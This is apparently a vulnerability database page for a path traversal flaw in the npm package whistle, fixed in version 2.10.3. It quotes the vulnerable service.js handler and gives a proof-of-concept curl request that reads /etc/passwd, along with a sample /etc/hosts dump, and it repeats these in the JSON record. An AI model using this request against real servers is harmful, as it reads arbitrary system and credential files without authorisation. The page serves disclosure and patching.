GHSA-3VFR-4GWF-QXFP
Vulnerability from github – Published: 2026-08-25 18:32 – Updated: 2026-08-25 18:32
VLAI
Summary
Whistle vulnerable to path traversal
Details
This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.
Vulnerability detail:
In service.js, inside
app.get('/cgi-bin/temp/get', ...):
var filename = req.query.filename;
if (TEMP_FILE_RE.test(filename)) {
filename = path.join(TEMP_FILES_PATH, filename);
}
getFile(filename, ...);
Only when filename matches the temp/ pattern does it get joined to the safe directory TEMP_FILES_PATH.
If it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.
In other words: if you pass passwd, it will read passwd.
POC: curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd"
response:
xiaoming@192 ~ % curl -s "http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts"
{"ec":0,"value":"##\n# Host Database\n#\n# localhost is used to configure the loopback interface\n# when the system is booting. Do not change this entry.\n##\n127.0.0.1\tlocalhost\n255.255.255.255\tbroadcasthost\n::1 localhost\n199.232.68.133 raw.githubusercontent.com\n199.232.68.133 user-images.githubusercontent.com\n199.232.68.133 avatars2.githubusercontent.com\n199.232.68.133 avatars1.githubusercontent.com\n127.0.0.1 lanyundev.com\n\n127.0.0.1 www.proxifier.com\n127.0.0.1 proxifier.com\n140.82.116.4 github.com\n\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\n127.0.0.1\tlocalhost.sangfor.com.cn\n\n"}%
Severity
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "whistle"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55629"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T18:32:06Z",
"nvd_published_at": "2026-07-16T20:16:45Z",
"severity": "HIGH"
},
"details": "This bug was found by nova, which is an automated tool from group of Song Wu, intern, Zhejiang University; BoWang, independent researcher; Xingwei Lin, Zhejiang University.\n\n**Vulnerability detail**:\n\nIn service.js, inside \n`app.get(\u0027/cgi-bin/temp/get\u0027, ...):\nvar filename = req.query.filename;\nif (TEMP_FILE_RE.test(filename)) {\n filename = path.join(TEMP_FILES_PATH, filename);\n}\ngetFile(filename, ...);`\n\n\nOnly when filename matches the temp/\u003chash\u003e pattern does it get joined to the safe directory TEMP_FILES_PATH.\n\nIf it does not match that pattern, the code does not block the request. Instead, it directly uses the user-supplied filename for file reading.\n\nIn other words: if you pass passwd, it will read passwd.\n\n**POC**:\ncurl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/passwd\"\n\n**response**:\n\n``` sh\nxiaoming@192 ~ % curl -s \"http://127.0.0.1:8899/cgi-bin/temp/get?filename=/etc/hosts\"\n{\"ec\":0,\"value\":\"##\\n# Host Database\\n#\\n# localhost is used to configure the loopback interface\\n# when the system is booting. Do not change this entry.\\n##\\n127.0.0.1\\tlocalhost\\n255.255.255.255\\tbroadcasthost\\n::1 localhost\\n199.232.68.133 raw.githubusercontent.com\\n199.232.68.133 user-images.githubusercontent.com\\n199.232.68.133 avatars2.githubusercontent.com\\n199.232.68.133 avatars1.githubusercontent.com\\n127.0.0.1 lanyundev.com\\n\\n127.0.0.1 www.proxifier.com\\n127.0.0.1 proxifier.com\\n140.82.116.4 github.com\\n\\n# This line is auto added by aTrustAgent, do not modify, or aTrustAgent may unable to work\\n127.0.0.1\\tlocalhost.sangfor.com.cn\\n\\n\"}% \n```",
"id": "GHSA-3vfr-4gwf-qxfp",
"modified": "2026-08-25T18:32:07Z",
"published": "2026-08-25T18:32:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/avwo/whistle/security/advisories/GHSA-3vfr-4gwf-qxfp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55629"
},
{
"type": "WEB",
"url": "https://github.com/avwo/whistle/commit/777bcf69bae2972aa7138a158c91619185653cf5"
},
{
"type": "PACKAGE",
"url": "https://github.com/avwo/whistle"
},
{
"type": "WEB",
"url": "http://github.com/avwo/whistle/releases/tag/v2.10.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Whistle vulnerable to path traversal"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
Loading…